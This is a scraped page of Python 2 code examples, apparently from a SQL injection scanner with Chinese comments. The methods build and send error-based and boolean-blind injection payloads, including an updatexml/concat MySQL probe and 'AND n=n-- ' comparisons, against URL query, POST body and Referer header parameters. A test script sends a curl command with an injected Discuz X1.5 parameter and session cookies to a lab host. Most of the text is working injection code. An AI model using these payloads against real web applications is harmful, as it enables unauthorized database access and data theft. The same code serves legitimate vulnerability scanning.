Exemple #1
0
 def checkFirstForReferer(self, url='', headers={}):
     '''
     Header头Referer注入
     输入参数:
         url,请求的URL
     输出数据:
         json格式的注入检测结果
     '''
     theKey = "Referer"
     responseList = []
     responseBase = request(url=url)
     headerPayloads = getHeaderdictByPayload(
         headerDict=headers,
         theKey=theKey,
         payloads=["'", "''", "'''", "\\", "\\", "\\\\\\"])
     for headerPayload in headerPayloads:
         response = request(url=url, headers=headerPayload)
         databaseType = self.checkDatabase(body=response['response_body'])
         if databaseType:
             resultCheck = self.returnInjectResult(
                 url=response['url'],
                 confirm=True,
                 detail="存在注入的URL:%s\n该注入类型为:Header头提交方式的数字型注入" %
                 (response['url']),
                 response=response)
             responseList.append(resultCheck)
             return responseList
     return False
Exemple #2
0
 def confirmInjectNumericForMysql(self,
                                  url="",
                                  queryDict={},
                                  bodyDict={},
                                  headers={},
                                  theKey="",
                                  method="GET"):
     '''
     确认数字型SQL注入 
     '''
     responseList = []
     payloadStr1 = "updatexml(1,concat(0x3a,(select%20\"inject_integer_tester\")), 1)"
     payloads = [payloadStr1]
     injectWay = "append"
     urls = getUrlsByQuerydictBodydictPayloads(url, queryDict, bodyDict,
                                               payloads, theKey, injectWay)
     response = request(url=urls[0]['url'],
                        body=urls[0]['body'],
                        headers=headers,
                        method=method)
     if response['httpcode'] == 200 and response['response_body'].find(
             'inject_integer_tester') > 0:
         resultCheck = self.returnInjectResult(
             url=url,
             confirm=True,
             detail="存在注入的URL:%s\n该注入类型为:%s提交方式的数字型注入" %
             (response['url'], method),
             response=response)
         responseList.append(resultCheck)
         return responseList
     return False
Exemple #3
0
 def checkInjectSearchForCommon(self,
                                url="",
                                queryDict={},
                                bodyDict={},
                                headers={},
                                theKey="",
                                method="GET"):
     '''
     通用版 搜索型SQL注入检测
     '''
     '''
     搜索型真假值,误报率 50%
     通过数字等于或不等于,根据内容是否一致来判断SQL注入的概率
     %' AND 1819=4502 AND '%'='
     %' AND 1265=1265 AND '%'='
     '''
     responseList = []
     value1, value2 = getRandomTwoDiffent()
     payloadStr1 = "%' AND " + str(value1) + "=" + str(
         value1) + " AND '%'='"
     payloadStr2 = "%' AND " + str(value1) + "=" + str(
         value2) + " AND '%'='"
     payloads = [payloadStr1, payloadStr2]
     injectWay = "append"
     urls = getUrlsByQuerydictBodydictPayloads(url, queryDict, bodyDict,
                                               payloads, theKey, injectWay)
     responseTrue = request(url=urls[0]['url'],
                            body=urls[0]['body'],
                            headers=headers,
                            method=method)
     responseFalse = request(url=urls[1]['url'],
                             body=urls[1]['body'],
                             headers=headers,
                             method=method)
     if responseTrue['httpcode'] == 200 and responseFalse[
             'httpcode'] == 200 and confirmInject(
                 responseTrue=responseTrue, responseFalse=responseFalse):
         resultCheck = self.returnInjectResult(
             url=url,
             confirm=True,
             detail="存在注入的URL:%s\n该注入类型为:%s提交方式的数字型注入" %
             (responseFalse['url'], method),
             response=responseFalse)
         responseList.append(resultCheck)
         return responseList
     return False
Exemple #4
0
    def checkFirst(self,
                   url="",
                   queryDict={},
                   bodyDict={},
                   headers={},
                   theKey="",
                   method="GET"):
        '''
        第一次检测,主要用于检测数据库类型,粗略的SQL注入检测
        '''
        responseList = []
        #检查单引号',反斜线\ ,主要用于判断SQL报错,判断数据库类型
        urls = getUrlsByQuerydictBodydictPayloads(url, queryDict, bodyDict)
        responseBase = request(url=urls[0]['url'],
                               body=urls[0]['body'],
                               headers=headers,
                               method=method)

        #判断httpcode状态位
        if responseBase['httpcode'] != 200:
            return False

        #检测数据库类型,数据库类型放在 self.database 变量中
        self.checkDatabase2(url, queryDict, bodyDict, headers, method=method)
        '''
        检查key对应的值是数字型还是字符串型
        如果全部是数字,则先用数字型判断,如果能确认SQL注入,则直接返回
        直接用正则匹配的方式来判断,并不准确,因此没能确认SQL注入时,后面依然使用字符串型及搜索型进行尝试
        '''
        if (queryDict.has_key(theKey) and re.match(r'(\d+)', queryDict[theKey])
            ) or (bodyDict.has_key(theKey)
                  and re.match(r'(\d+)', bodyDict[theKey])):
            result = self.checkInjectNumericForCommon(url, queryDict, bodyDict,
                                                      headers, theKey, method,
                                                      responseBase)
            if result:
                return result

        #字符串型
        result = self.checkInjectStrForCommon(url, queryDict, bodyDict,
                                              headers, theKey, method)
        if result:
            return result

        #搜索型
        result = self.checkInjectSearchForCommon(url, queryDict, bodyDict,
                                                 headers, theKey, method)
        if result:
            return result
        return False
Exemple #5
0
    def checkDatabase2(self,
                       url,
                       queryDict={},
                       bodyDict={},
                       headers={},
                       method="GET"):
        payloads = ["'", "''", "'''", "\\", "\\", "\\\\\\"]
        #如果已经检测到数据库类型,直接返回结果
        if hasattr(self, 'database'):
            return self.database

        #URL是否已经进行过数据库类型检查
        if hasattr(self, 'checkedDatabaseUrls'):
            if url in self.checkedDatabaseUrls:
                return False
        else:
            self.checkedDatabaseUrls = []
            self.checkedDatabaseUrls.append(url)

        #构造待请求的URL
        urls = getUrlsByQuerydictBodydictPayloads(url,
                                                  queryDict,
                                                  bodyDict,
                                                  payloads=payloads)
        #遍历URL,并判断数据类型
        self.database = ""
        for row in urls:
            response = request(url=row['url'],
                               body=row['body'],
                               headers=headers,
                               method=method)
            for dbname in sqlErrorDict:
                for row in sqlErrorDict[dbname]:
                    if row['type'] == 'normal':
                        if response['response_body'].find(row['search']) >= 0:
                            self.database = dbname
                    elif row['type'] == 'regular':
                        if re.search(row['search'],
                                     response['response_body']) >= 0:
                            self.database = dbname
                    else:
                        pass
                break
        if self.database:
            return self.database
        else:
            return False
Exemple #6
0
 def checkInjectNumericForCommon(self,
                                 url="",
                                 queryDict={},
                                 bodyDict={},
                                 headers={},
                                 theKey="",
                                 method="GET",
                                 responseBase={}):
     '''
     通用版 数字型SQL注入检测
     '''
     '''
     数字转换为表达式类型,准确度较高
     将数字转换为表达式后,结果是否一致,一致,则50%+有SQL注入
     id=1
     id=9001-9000
     '''
     responseList = []
     payloads = []
     if queryDict.has_key(theKey):
         value = int(queryDict[theKey]) + 3000
         payloads.append(str(value) + "-3000")
     if bodyDict.has_key(theKey):
         value = int(bodyDict[theKey]) + 3000
         payloads.append(str(value) + "-3000")
     injectWay = "replace"
     urls = getUrlsByQuerydictBodydictPayloads(url, queryDict, bodyDict,
                                               payloads, theKey, injectWay)
     row = urls[0]
     responseFalse = request(url=row['url'],
                             body=row['body'],
                             headers=headers,
                             method=method)
     if responseBase['httpcode'] == 200 and responseFalse[
             'httpcode'] == 200 and confirmInject(
                 responseTrue=responseBase, responseFalse=responseFalse):
         resultCheck = self.returnInjectResult(
             url=url,
             confirm=True,
             detail="存在注入的URL:%s\n该注入类型为:%s提交方式的数字型注入" %
             (responseFalse['url'], method),
             response=responseFalse)
         responseList.append(resultCheck)
         return responseList
         #resultConfirm = confirmInjectNumericForMysql(url=url, queryDict=queryDict, theKey=theKey)
         #if resultConfirm:
         #    return resultConfirm
         #else:
         #    return False
     '''
     数字真假值判断,误报率 30%
     通过数字等于或不等于,根据内容是否一致来判断SQL注入的概率
     AND 2142=6509
     AND 1265=1265
     '''
     value1, value2 = getRandomTwoDiffent()
     payloadStr1 = " AND " + str(value1) + "=" + str(value1)
     payloadStr2 = " AND " + str(value1) + "=" + str(value2)
     payloads = [payloadStr1, payloadStr2]
     injectWay = "append"
     urls = getUrlsByQuerydictBodydictPayloads(url, queryDict, bodyDict,
                                               payloads, theKey, injectWay)
     responseTrue = request(url=urls[0]['url'],
                            body=urls[0]['body'],
                            headers=headers,
                            method=method)
     responseFalse = request(url=urls[1]['url'],
                             body=urls[1]['body'],
                             headers=headers,
                             method=method)
     if responseTrue['httpcode'] == 200 and responseFalse[
             'httpcode'] == 200 and confirmInject(
                 responseTrue=responseTrue, responseFalse=responseFalse):
         resultCheck = self.returnInjectResult(
             url=url,
             confirm=True,
             detail="存在注入的URL:%s\n该注入类型为:%s提交方式的数字型注入" %
             (responseFalse['url'], method),
             response=responseFalse)
         responseList.append(resultCheck)
         return responseList
     '''
     数字真假值及mysql中止符,误报率 50%
     通过数字等于或不等于,根据内容是否一致来判断SQL注入的概率
     --在SQL中代表中止符
     AND 2142=6509-- sMWn
     AND 1265=1265-- sMWn
     '''
     payloadStr1 = " AND " + str(value1) + "=" + str(value1) + "-- sMWn"
     payloadStr2 = " AND " + str(value1) + "=" + str(value2) + "-- sMWn"
     payloads = [payloadStr1, payloadStr2]
     injectWay = "append"
     urls = getUrlsByQuerydictBodydictPayloads(url, queryDict, bodyDict,
                                               payloads, theKey, injectWay)
     responseTrue = request(url=urls[0]['url'],
                            body=urls[0]['body'],
                            headers=headers,
                            method=method)
     responseFalse = request(url=urls[1]['url'],
                             body=urls[1]['body'],
                             headers=headers,
                             method=method)
     if responseTrue['httpcode'] == 200 and responseFalse[
             'httpcode'] == 200 and confirmInject(
                 responseTrue=responseTrue, responseFalse=responseFalse):
         resultCheck = self.returnInjectResult(
             url=url,
             confirm=True,
             detail="存在注入的URL:%s\n该注入类型为:%s提交方式的数字型注入" %
             (responseFalse['url'], method),
             response=responseFalse)
         responseList.append(resultCheck)
         return responseList
     return False
Exemple #7
0
from engine_utils.DictData import headerDictDefault
from engine_utils.yd_http import request
from engine_utils.common import getResponse
from engine_utils.InjectSql import InjectSql
from engine_utils.InjectUrlLib import parseCurlCommand
from engine_utils.params import query2dict, db_params2dict, post_all_query2dict

curlCommand = '''curl 'http://discuzx15.target.safety.local.com/misc.php?mod=stat&op=trend&xml=1&merge=3&types[1]=password`as%20statistic%20from%20pre_common_statuser,pre_ucenter_members%20as' -H 'Host: discuzx15.target.safety.local.com' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: 9nII_2132_auth=6feeYFaU%2BSWWYrimX3WmHxLJQ2WhAvGunJvEBYo%2FkWYHQQP3FryzAeMSfIwhsFXfOQxG4CaV%2BZLQElcFuBKo; 9nII_2132_lastvisit=1481611136; 9nII_2132_sid=mezr7J; 9nII_2132_lastact=1481619249%09misc.php%09stat; 9nII_2132_ulastactivity=89efLVoBzc8xPIxF5rUhm4QMBgm4ntoFzNQ9J8t2G2XjDNrEOFqE' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0'
''';
result = parseCurlCommand(curlCommand)
#print result
#headers = headerDictDefault
headers = result['headers']
print headers
headers['cookie'] = result['cookie']
response = request(url=result['url'], headers=headers)
#print response['response_body']
sys.exit(1)

'''
bodyStr = '[{"type":"submit","name":"seclev_submit","value":"Submit"},{"type":"select","name":"security","value":"low"}]'
bodyStr = ''
bodyDict = db_params2dict(bodyStr)
print bodyDict
sys.exit(1)
'''

'''
#url = "http://www.lsu.edu.cn/_web/search/doSearch.do?_p=YXM9NCZ0PTUmZD04NCZwPTEmbT1TTiY_"
url = "http://www.lsu.edu.cn/_web/search/doSearch.do"
print post_all_query2dict(url)